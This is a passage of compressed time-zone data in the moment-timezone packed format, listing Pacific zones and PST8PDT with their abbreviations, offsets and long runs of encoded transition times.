1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1io0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1io0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1io0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1io0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1io0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1io0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1io0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1io0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1io0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1io0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1io0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1io0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00|600","Pacific/Apia|LMT LMT -1130 -11 -10 +14 +13|-cx.4 bq.U bu b0 a0 -e0 -d0|012343456565656565656565656|-38Fox.4 J1A0 1yW03.4 2rRbu 1ff0 1a00 CI0 AQ0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0|37e3","Pacific/Bougainville|LMT PMMT +10 +09 +11|-am.g -9M.w -a0 -90 -b0|012324|-3D8Wm.g AvAx.I 1TCLM.w 7CN0 2MQp0|18e4","Pacific/Efate|LMT +11 +12|-bd.g -b0 -c0|012121212121212121212121|-2l9nd.g 2uNXd.g Dc0 n610 1cL0 1cN0 1cL0 1fB0 19X0 1fB0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1fB0 Lz0 1Nd0 An0|66e3","Pacific/Enderbury|-00 -12 -11 +13|0 c0 b0 -d0|0123|-1iIo0 1GsA0 B7X0|1","Pacific/Fakaofo|LMT -11 +13|bo.U b0 -d0|012|-2M0Az.4 4ufXz.4|483","Pacific/Fiji|LMT +12 +13|-bT.I -c0 -d0|012121212121212121212121212121|-2bUzT.I 3m8NT.I LA0 1EM0 IM0 nJc0 LA0 1o00 Rc0 1wo0 Ao0 1Nc0 Ao0 1Q00 xz0 1SN0 uM0 1SM0 uM0 1VA0 s00 1VA0 s00 1VA0 s00 20o0 pc0 2hc0 bc0|88e4","Pacific/Tarawa|LMT +12|-bw.4 -c0|01|-2M0Xw.4|29e3","Pacific/Galapagos|LMT -05 -06|5W.o 50 60|01212|-1yVS1.A 2dTz1.A gNd0 rz0|25e3","Pacific/Gambier|LMT -09|8X.M 90|01|-2jof0.c|125","Pacific/Guadalcanal|LMT +11|-aD.M -b0|01|-2joyD.M|11e4","Pacific/Guam|LMT LMT GST +09 GDT ChST|el -9D -a0 -90 -b0 -a0|0123242424242424242425|-54m9D 2glc0 1DFbD 6pB0 AhB0 3QL0 g2p0 3p91 WOX rX0 1zd0 Rb0 1wp0 Rb0 5xd0 rX0 5sN0 zb1 1C0X On0 ULb0|17e4","Pacific/Honolulu|LMT HST HDT HWT HPT HST|av.q au 9u 9u 9u a0|01213415|-3061s.y 1uMdW.y 8x0 lef0 8wWu iAu 46p0|37e4","Pacific/Kiritimati|LMT -1040 -10 +14|at.k aE a0 -e0|0123|-2M0Bu.E 3bIMa.E B7Xk|51e2","Pacific/Kosrae|LMT LMT +11 +09 +10 +12|d8.4 -aP.U -b0 -90 -a0 -c0|0123243252|-54maP.U 2glc0 xsnP.U axC0 HBy0 akp0 axd0 WOK0 1bdz0|66e2","Pacific/Marquesas|LMT -0930|9i 9u|01|-2joeG|86e2","Pacific/Pago_Pago|LMT LMT SST|-cB.c bm.M b0|012|-38FoB.c J1A0|37e2","Pacific/Nauru|LMT +1130 +09 +12|-b7.E -bu -90 -c0|01213|-1Xdn7.E QCnB.E 7mqu 1lnbu|10e3","Pacific/Niue|LMT -1120 -11|bj.E bk b0|012|-FScE.k suo0.k|12e2","Pacific/Norfolk|LMT +1112 +1130 +1230 +11 +12|-bb.Q -bc -bu -cu -b0 -c0|0123245454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545454545|-2M0Xb.Q 21ILX.Q W01G Oo0 1COo0 9Jcu 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0|25e4","Pacific/Noumea|LMT +11 +12|-b5.M -b0 -c0|01212121|-2l9n5.M 2EqM5.M xX0 1PB0 yn0 HeP0 Ao0|98e3","Pacific/Palau|LMT LMT +09|f2.4 -8V.U -90|012|-54m8V.U 2glc0|21e3","Pacific/Pitcairn|LMT -0830 -08|8E.k 8u 80|012|-2M0Dj.E 3UVXN.E|56","Pacific/Rarotonga|LMT LMT -1030 -0930 -10|-dk.U aD.4 au 9u a0|01234343434343434343434343434|-2Otpk.U 28zc0 13tbO.U IL0 1zcu Onu 1zcu Onu 1zcu Rbu 1zcu Onu 1zcu Onu 1zcu Onu 1zcu Onu 1zcu Onu 1zcu Rbu 1zcu Onu 1zcu Onu 1zcu Onu|13e3","Pacific/Tahiti|LMT -10|9W.g a0|01|-2joe1.I|18e4","Pacific/Tongatapu|LMT +1220 +13 +14|-cj.c -ck -d0 -e0|01232323232|-XbMj.c BgLX.c 1yndk 15A0 1wo0 xz0 1Q10 xz0 zWN0 s00|75e3","PST8PDT|PST PDT PWT PPT|80 70 70 70|010102301010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010|-261q0 1nX0 11B0 1nX0 SgN0 8x10 iy0 QwN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 s10 1Vz0 LB0 1BX0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 